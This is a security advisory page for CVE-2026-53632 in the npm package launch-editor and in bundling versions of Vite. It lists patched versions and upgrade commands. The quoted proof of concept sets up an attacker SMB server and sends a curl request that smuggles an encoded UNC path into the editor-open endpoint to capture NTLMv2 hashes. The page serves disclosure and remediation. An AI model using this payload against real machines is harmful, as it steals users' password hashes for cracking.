Vulnerabilities in pkg:npm/launch-editor

PACKAGE
Advisory Identifier: GHSA-v6wh-96g9-6wx3
Advisory Summary

CVE-2026-53632 is a MODERATE ntlmv2 hash disclosure vulnerability (CWE-522: Insufficiently Protected Credentials) affecting launch-editor libraries in the npm ecosystem. The issue involves ntlmv2 hash disclosure via unc path handling on windows. Remediation is available by upgrading affected packages to version 2.14.1, 8.0.16, 7.3.5, 6.4.3, 0.1.24.

2 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/launch-editor

2 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/launch-editor. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-v6wh-96g9-6wx3 CVE-2026-53632 MODERATE launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows
GHSA-c27g-q93r-2cwf CVE-2024-52011 HIGH launch-editor vulnerable to command injection via the crafted request on Windows

CVE-2026-53632 at a Glance

CVE Identifier CVE-2026-53632
GHSA Identifier GHSA-v6wh-96g9-6wx3
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-522: Insufficiently Protected Credentials
Affected Product launch-editor
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-53632

To remediate this vulnerability, upgrade all affected launch-editor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

launch-editor fixed: 2.14.1
npm install launch-editor@2.14.1
vite fixed: 8.0.16
npm install vite@8.0.16
vite fixed: 7.3.5
npm install vite@7.3.5
vite fixed: 6.4.3
npm install vite@6.4.3
vite-plus fixed: 0.1.24
npm install vite-plus@0.1.24
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls launch-editor

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-53632, inspect your project dependencies using npm:

npm ls launch-editor

Analyze the terminal output to locate any version of launch-editor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.14.1), your application is affected.

Note: The npm ls launch-editor command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-522: Insufficiently Protected Credentials, where the product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. In launch-editor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `launch-editor` NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. ### Impact If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the `launch-editor`: - using Windows - NTLM is not disabled ([it is recommended to disable](https://techcommunity.microsoft.com/blog/windows-itpro-blog/advancing-windows-security-disabling-ntlm-by-default/4489526), while it's still enabled by default) - the user accesses the attackers website that sends request to a middleware using `launch-editor` - the server that has the middleware using `launch-editor` is running - the attacker knows the URL for that server and the middleware This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems. ### Details `launch-editor` accepts file paths without validating or restricting Windows UNC paths such as: ``` \\attacker-host\share ``` On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur. If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password. The attacker could target a developer that uses a development server using `launch-editor` to develop code locally, send them a link and grab their NTLMv2 hash. ### PoC From the attacker side, we will setup an SMB server. I personally used [Impacket's smbserver.py](https://github.com/fortra/impacket/blob/master/examples/smbserver.py), but you could use something like [Responder](https://github.com/lgandx/Responder) for this as well. For keeping it simple, we will use `smbserver.py` here. First, let's create a directory to serve as an SMB share. ``` mkdir /tmp/data echo "Hello world" > /tmp/data/test.txt ``` Then, start the SMB server. ``` $ sudo smbserver.py -smb2support -debug share /tmp/data ``` Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (`vite`). Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use `curl` to achieve the same. ``` curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt' ``` Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of `smbserver.py` and see the NTLMv2 hash coming in. <img width="1916" height="277" alt="2026-01-30_10-58" src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368" />

CVE-2026-53632 Affected launch-editor Versions

5 component(s)
Fixed Versions:
2.14.18.0.167.3.56.4.30.1.24
Product / Package Ecosystem Affected Versions Fixed Version
launch-editor
npm
< 2.14.1
2.14.1
vite
npm
≥ 8.0.0
< 8.0.16
8.0.16
vite
npm
≥ 7.0.0
< 7.3.5
7.3.5
vite
npm
< 6.4.3
6.4.3
vite-plus
npm
< 0.1.24
0.1.24

References

Frequently Asked Questions

What is CVE-2026-53632?
CVE-2026-53632 is a security vulnerability in launch-editor involving NTLMv2 hash disclosure via UNC path handling on Windows under CWE-522: Insufficiently Protected Credentials.
Which launch-editor versions are affected?
Affected versions include releases prior to 2.14.1, 8.0.16, 7.3.5, 6.4.3, 0.1.24 across affected packages: launch-editor, vite, vite-plus.
What version fixes CVE-2026-53632?
Upgrading to 2.14.1, 8.0.16, 7.3.5, 6.4.3, 0.1.24 (or the latest patched release for your respective branch) resolves the vulnerability.
Is launch-editor affected?
Yes, launch-editor is affected in releases prior to 2.14.1. Upgrade your dependency to 2.14.1 or later.
Is vite affected?
Yes, vite is affected in releases prior to 8.0.16, 7.3.5, 6.4.3. Upgrade your dependency to 8.0.16, 7.3.5, 6.4.3 or later.
What CWE is associated with CVE-2026-53632?
CVE-2026-53632 is classified under CWE-522: Insufficiently Protected Credentials (The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.).
How can I check npm dependencies for CVE-2026-53632?
Run the dependency tree command: 'npm ls launch-editor'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v6wh-96g9-6wx3",
  "modified" : "2026-06-15T17:18:31Z",
  "published" : "2026-06-15T17:18:31Z",
  "aliases" : [ "CVE-2026-53632" ],
  "summary" : "launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows",
  "details" : "### Summary\nThe `launch-editor` NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.\n\n### Impact\n\nIf the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the `launch-editor`:\n\n- using Windows\n- NTLM is not disabled ([it is recommended to disable](https://techcommunity.microsoft.com/blog/windows-itpro-blog/advancing-windows-security-disabling-ntlm-by-default/4489526), while it's still enabled by default)\n- the user accesses the attackers website that sends request to a middleware using `launch-editor`\n- the server that has the middleware using `launch-editor` is running\n- the attacker knows the URL for that server and the middleware\n\nThis would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.\n\n### Details\n`launch-editor` accepts file paths without validating or restricting Windows UNC paths such as:\n\n```\n\\\\attacker-host\\share\n```\n\nOn Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.\n\nIf an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.\n\nThe attacker could target a developer that uses a development server using `launch-editor` to develop code locally, send them a link and grab their NTLMv2 hash.\n\n### PoC\nFrom the attacker side, we will setup an SMB server. I personally used [Impacket's smbserver.py](https://github.com/fortra/impacket/blob/master/examples/smbserver.py), but you could use something like [Responder](https://github.com/lgandx/Responder) for this as well. For keeping it simple, we will use `smbserver.py` here.\n\nFirst, let's create a directory to serve as an SMB share.\n```\nmkdir /tmp/data\necho \"Hello world\" > /tmp/data/test.txt\n```\n\nThen, start the SMB server.\n```\n$ sudo smbserver.py -smb2support -debug share /tmp/data\n```\n\nNow, run any project that uses the launch-editor package. I have setup a simple \"Hello world\" project that uses Vite to do this. Then run the project locally (`vite`).\n\nNow last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use `curl` to achieve the same.\n\n```\ncurl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'\n```\n\nNote the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of `smbserver.py` and see the NTLMv2 hash coming in.\n\n<img width=\"1916\" height=\"277\" alt=\"2026-01-30_10-58\" src=\"https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368\" />",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "launch-editor"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.14.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.14.0"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vite"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "8.0.0"
      }, {
        "fixed" : "8.0.16"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 8.0.15"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vite"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "7.0.0"
      }, {
        "fixed" : "7.3.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 7.3.4"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vite"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "6.4.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 6.4.2"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vite-plus"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.1.24"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.1.23"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/vitejs/launch-editor"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-522", "CWE-73" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-15T17:18:31Z",
    "nvd_published_at" : null
  }
}